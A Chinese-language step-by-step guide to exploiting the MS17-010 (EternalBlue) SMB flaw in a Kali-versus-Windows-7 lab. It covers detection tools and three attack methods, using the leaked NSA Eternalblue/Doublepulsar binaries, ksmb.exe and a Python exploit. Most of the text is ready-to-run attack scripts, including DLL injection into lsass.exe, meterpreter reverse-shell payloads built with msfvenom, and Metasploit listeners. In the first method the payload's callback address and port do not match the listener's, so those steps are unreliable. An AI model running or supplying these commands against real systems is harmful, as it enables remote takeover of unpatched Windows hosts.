域渗透之ms17010的多种打法
字数 1049 2025-08-11 21:26:39
MS17-010(永恒之蓝)漏洞利用全面指南
漏洞概述
漏洞名称:永恒之蓝(EternalBlue)
漏洞编号:MS17-010,CVE-2017-0143/0144/0145/0146/0147/0148
漏洞类型:SMB协议缓冲区溢出漏洞
影响系统:
- Windows Vista SP2
- Windows Server 2008 SP2 和 R2 SP1
- Windows 7 SP1
- Windows 8.1
- Windows Server 2012 Gold 和 R2
- Windows RT 8.1
- Windows 10 Gold, 1511, 和 1607
- Windows Server 2016
环境准备
攻击机:Kali Linux (IP: 192.168.0.18)
靶机:Windows 7 (IP: 192.168.0.28)
漏洞检测方法
1. 使用checker.py
python2 checker.py 192.168.0.28
2. 使用Smbtouch工具
创建check.bat文件:
@Smbtouch-1.1.1.exe --TargetIp %1 --OutConfig 1.txt
执行:
check.bat 192.168.0.28
3. 使用Ladon工具
Ladon.exe 192.168.0.28 MS17010
4. 使用fscan工具
fscan -h 192.168.0.28
漏洞利用方法
方法一:NSA原版MS17-010利用
-
准备工作:
- 从工具包中复制以下文件到同一目录:
- windows\lib\x86-Windows\
- windows\specials\
- windows\payloads\
- 重命名XML文件:
- Eternalblue-2.2.0.0.xml → Eternalblue-2.2.0.xml
- Doublepulsar-1.3.1.0.xml → Doublepulsar-1.3.1.xml
- 从工具包中复制以下文件到同一目录:
-
创建攻击脚本attack.bat:
@echo off
echo TargetIp: %1
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp %1 --TargetPort 445 --Target WIN72K8R2
- 创建后门脚本backdoor.bat:
@echo off
echo [info] TargetIp: %1
echo [info] Architecture: %2
echo [info] DllPayload: %3
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp %1 --TargetPort 445 --Protocol SMB --Architecture %2 --Function RunDLL --DllPayload %3 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
- 生成DLL载荷:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=9999 -f dll > winx64.dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=9999 -f dll > winx86.dll
- 执行攻击:
attack.bat 192.168.0.28
backdoor.bat 192.168.0.28 x64 winx64.dll
- Metasploit监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.0.18; set lport 1111; exploit -j;"
方法二:K8哥哥的ksmb.exe利用
- 直接执行ksmb.exe添加用户:
ksmb.exe
方法三:Python脚本利用
- 生成shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.18 LPORT=1111 -f raw > shellcode
- 执行攻击:
python3 ms17-010.py --host 192.168.0.28 --file shellcode
注意:不要添加--port参数,否则可能报错
- 启动监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.0.18; set lport 1111; exploit -j;"
注意事项
- 针对有防火墙的环境可能需要特殊处理,文中提到作者未成功
- 64位系统支持32位载荷,可以直接使用32位工具
- 某些方法可能需要多次尝试才能成功
- 网络超时参数(--NetworkTimeout)可根据实际情况调整
- 确保目标系统开放445端口
参考资源
通过以上方法,可以全面利用MS17-010漏洞进行渗透测试。请确保在合法授权范围内使用这些技术。